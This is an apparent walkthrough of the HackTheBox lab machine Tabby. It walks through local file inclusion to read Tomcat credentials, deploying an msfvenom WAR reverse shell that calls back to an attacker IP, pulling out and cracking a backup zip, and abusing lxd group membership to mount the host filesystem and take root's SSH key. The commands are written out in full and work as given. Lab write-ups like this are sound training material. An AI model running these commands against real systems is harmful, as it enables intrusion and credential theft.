Overview

Tabby is an easy HackTheBox Linux machine running a hosting-service site alongside Apache Tomcat. A file-read parameter on the main site is vulnerable to local file inclusion, and knowing the exact Debian package layout for tomcat9 is enough to locate and read tomcat-users.xml, leaking valid Tomcat Manager credentials. Deploying a malicious .war reverse shell through Tomcat’s remote deployment feature gets a foothold, and a password-protected backup archive found on the webroot cracks to a password reused by a real system account. Root exploits membership in the lxd group, enough, on its own, to mount the entire host filesystem inside a privileged container.

Attack Chain

  • Scan the target and find SSH, HTTP, and a second HTTP service on 8080
  • Find a static hosting-service site whose “News” feature reads files via a file parameter
  • Confirm local file inclusion by reading /etc/passwd
  • Identify Apache Tomcat on port 8080 and its webroot / CATALINA_HOME paths
  • Research the exact Debian package layout for tomcat9 to locate tomcat-users.xml
  • Use the LFI to read the file and recover Tomcat Manager credentials
  • Log in to the Host-Manager and confirm access to the text/jmx deployment interface
  • Generate a malicious .war reverse shell payload with msfvenom and deploy it remotely
  • Trigger the deployed payload and catch a reverse shell as tabby
  • Find a password-protected backup .zip file in the webroot
  • Transfer it and crack the password offline with zip2john and john
  • Reuse the cracked password to switch to the user ash
  • Read the user flag
  • Discover the current user is a member of the lxd group
  • Import a prebuilt Alpine Linux LXD image and configure a privileged container with the host filesystem mounted
  • Start the container and browse the mounted host filesystem to find root’s SSH private key
  • Use the recovered key to SSH in as root
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.200.203; export NAME=TABBY; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80,8080

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding the LFI

Browsing to port 80 shows a static site for a Hosting Service.

Hosting Service static site

We can’t navigate to anything except News. Clicking it uses a host path to request news.php and read a file called statement. We add the host to /etc/hosts first.

News link uses a host path

We reload the path.

reloading the news path

We test the endpoint for LFI or RFI, and after some testing, confirm LFI:

http://megahosting.htb/news.php?file=../../../../etc/passwd

LFI confirmed by reading /etc/passwd

We use curl for cleaner output.

curl -s -G --data-urlencode "file=../../../../etc/passwd" "http://megahosting.htb/news.php"

cleaner LFI output via curl

Finding Tomcat

Port 8080 shows a Tomcat landing page with several interesting files.

Tomcat landing page - part 1

Tomcat landing page - part 2

We have a webroot and a CATALINA_HOME directory:

Webroot: /var/lib/tomcat9/webapps/ROOT/index.html
CATALINA_HOME: /usr/share/tomcat9

We try the documented path for tomcat-users.xml, but get no result:

curl -s -G --data-urlencode "file=../../../../usr/share/tomcat9/conf/tomcat-users.xml" "http://megahosting.htb/news.php"

Foothold

Locating tomcat-users.xml

We research tomcat9 install locations.

researching tomcat9 file locations

We find this reference:

https://packages.debian.org/bullseye/all/tomcat9/filelist

It shows a different location for tomcat-users.xml:

/usr/share/tomcat9/etc/tomcat-users.xml

the correct tomcat-users.xml location

We check whether the file exists.

curl -s -G --data-urlencode "file=../../../../usr/share/tomcat9/etc/tomcat-users.xml" "http://megahosting.htb/news.php"

We find credentials.

credentials found in tomcat-users.xml

tomcat:$3cureP4s5w0rd123!

Deploying a WAR Reverse Shell

We sign in to the Host-Manager with the credentials.

signing in to Host-Manager

Host-Manager doesn’t offer much, and Manager reports it’s only accessible from the same machine as Tomcat, but there’s a mention of the text/jmx interface.

mention of the text/jmx interface

We read up on remotely deploying .war archives.

researching remote WAR deployment

Rather than a .jsp webshell first, we go straight for a .war reverse shell with msfvenom.

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.84 LPORT=443 -f war -o shell.war

generating the WAR reverse shell payload

We start our penelope listener on port 443 and navigate to http://10.129.200.203:8080/shell/shell.war in the browser.

navigating to the deployed shell.war

We catch a reverse shell as tabby on port 443.

shell as tabby


Lateral Movement

Cracking a Backup Archive

We examine the webroot and find a files directory containing a backup .zip.

backup zip found in the webroot

We host a Python web server on the target and transfer the archive to our attacking machine with wget.

On the target:

starting a Python server on the target

From our attacking machine:

wget http://10.129.200.203:8000/16162020_backup.zip

downloading the backup archive

The archive is password-protected.

zip archive is password protected

We use zip2john to format the hash.

zip2john 16162020_backup.zip > zip.hash

formatting the zip hash with zip2john

We crack it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

john cracks the zip password

admin@it

We’re able to unzip the archive.

unzipping the archive

The archive doesn’t contain anything useful directly.

the archive’s contents

Reusing the Password

We try the zip password against the user ash, and it works.

zip password works for ash

We read the user flag.

user flag


Privilege Escalation

Building a Privileged LXD Container

We check our user’s groups with id and see we’re part of the lxd group.

id shows membership in the lxd group

LXD is a system-container manager on Linux. Being in the lxd group lets us create and import container images as root on the host.

We get an Alpine Linux image:

https://github.com/saghul/lxd-alpine-builder
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine # We don't have to build an image, as the repository already includes one

cloning the lxd-alpine-builder repository - part 1

repository contents - part 2

We use the prebuilt image.

using the prebuilt Alpine image

We host a Python server on our attacking machine and transfer the image to the target.

wget http://10.10.14.84/alpine-v3.13-x86_64-20210218_0139.tar.gz -O ./alpine.tar.gz

transferring the Alpine image

We import the image and confirm it’s listed.

/snap/bin/lxc image import alpine.tar.gz --alias alpinetemp
/snap/bin/lxc image list

importing and listing the image

We initialise lxd. Answering no to every prompt didn’t work here, so we accept the defaults instead.

/snap/bin/lxd init

initialising lxd

We make the container privileged and mount the host filesystem before starting it.

/snap/bin/lxc init alpinetemp privesc -c security.privileged=true
/snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

creating a privileged container with the host filesystem mounted

Reading Root’s SSH Key

We start the container and access it via /bin/sh.

/snap/bin/lxc start privesc
/snap/bin/lxc exec privesc /bin/sh

bash doesn’t work inside the container, so we use sh instead.

starting the container and getting a shell

We enumerate the host’s filesystem from within the container at /mnt/root.

enumerating the mounted host filesystem

We find root’s private SSH key.

root’s private SSH key found

We copy it to our attacking machine and set permissions with chmod 600.

copying the key and setting permissions

We use the key with SSH to establish a session.

ssh root@$IP -i root.key

connecting with the recovered SSH key

We have an SSH session as root.

SSH session as root

We read the root flag.

root flag


Key Takeaways

Tabby shows how much specific version and packaging knowledge matters when exploiting local file inclusion, the “obvious” path for tomcat-users.xml didn’t work, and only checking the exact Debian package layout for tomcat9 revealed the real location. Tomcat’s own remote WAR deployment feature is, by design, arbitrary code execution for anyone with valid manager credentials. The lxd group is the most important lesson here: on Linux, membership in that group is functionally equivalent to root, since it allows mounting the entire host filesystem, including /root, into a container the user fully controls, with no further exploitation required.